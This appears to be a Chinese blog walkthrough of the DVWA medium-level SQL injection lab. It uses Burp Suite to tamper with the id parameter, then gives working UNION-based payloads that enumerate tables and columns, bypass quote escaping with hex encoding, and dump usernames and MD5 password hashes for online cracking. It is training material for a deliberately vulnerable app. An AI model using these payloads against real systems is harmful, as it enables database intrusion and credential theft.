medium等级提供了下拉列表选择user ID
![57ff2e53a9a9dff0049b412d838d0416.png](https://i-blog.csdnimg.cn/blog_migrate/a1beb9b0f08b75e46cea631a5d849ba6.png)
这个时候是没有输入框的,那么想要注入就抓包试试(burpsuit)
![1d76aed164fe929e968f094598327327.png](https://i-blog.csdnimg.cn/blog_migrate/e484ff6275dcf032c01e4f993e9bbc61.jpeg)
获得数据包以后我们发现里面的ID选项是可以修改的,那么我们进行注入类型的判断
1 and 1=1成功执行
![940ef501a5cb793a34eac9491ec530f6.png](https://i-blog.csdnimg.cn/blog_migrate/abe799f3d99817def310095ed8dca97f.png)
![31a209b3e497b8aca4f46fe6bfcb6f20.png](https://i-blog.csdnimg.cn/blog_migrate/9fd9453bcf37c116143902654493552b.png)
1 and 1=2,逻辑为假,不执行
![f215fd48de8b2b615ab0decd1a34b541.png](https://i-blog.csdnimg.cn/blog_migrate/dc3a42532f9e19f2a8de1eb306f6c36b.png)
1',报错。综上可以判断存在数字型注入。并且我们可以发现'被转义为'
![8ea4a25298bb670018afed78d47e9114.png](https://i-blog.csdnimg.cn/blog_migrate/192950cb20e630dd83bd7bdb2296cd58.png)
=1 order by 1#猜解字段数
![783156d80c69c28d683fc70eb46f6b60.png](https://i-blog.csdnimg.cn/blog_migrate/82a1c1477d8f8ab09ea2d7bc902d2592.png)
=1 order by 2#
![afba0eef1f6000fb056b249ad55fa5a2.png](https://i-blog.csdnimg.cn/blog_migrate/5fa1ce3cf4bf0d0eaa8158c312f619e1.png)
=1 order by 3#报错,说明字段数为2
![0672d308a16275bbcc9cf954080f0db0.png](https://i-blog.csdnimg.cn/blog_migrate/c3c1f20fd6b28a20f763dae9ce9fff09.png)
1 union select 1,2#确定出回显位置有两个
![bf4296564622915ab88562527c44ffef.png](https://i-blog.csdnimg.cn/blog_migrate/cf26b6df9fd3d1a1498aebd6613f75be.png)
1 union select 1,database()#得到数据库名称
![ea047781248a3eaad4af8aa3bd5593bd.png](https://i-blog.csdnimg.cn/blog_migrate/813b3f563c46e091eceeab07a4bec928.png)
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
![b840836fdc65c6b0b37e566df2a57d2b.png](https://i-blog.csdnimg.cn/blog_migrate/6deb0a7982fef17dedb1ad0b5a39c351.png)
得到dvwa中两张表名guestbook和users
考虑到单引号被转义,可以利用 16 进制进行绕过
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
![70dc48d46863ac0c8744365537073441.png](https://i-blog.csdnimg.cn/blog_migrate/b13009b353d2be1de953d388f9047082.jpeg)
=1 union select user,password from users#获取字段内容
![698dcda663b8aa68ec2d8306fc9304d9.png](https://i-blog.csdnimg.cn/blog_migrate/3fa84e32f2735d8723bbecbca1c9c077.jpeg)
最后得到的密码是经过MD5加密的,我们可以使用MD5在线解密工具对其进行解密后得到明文密码。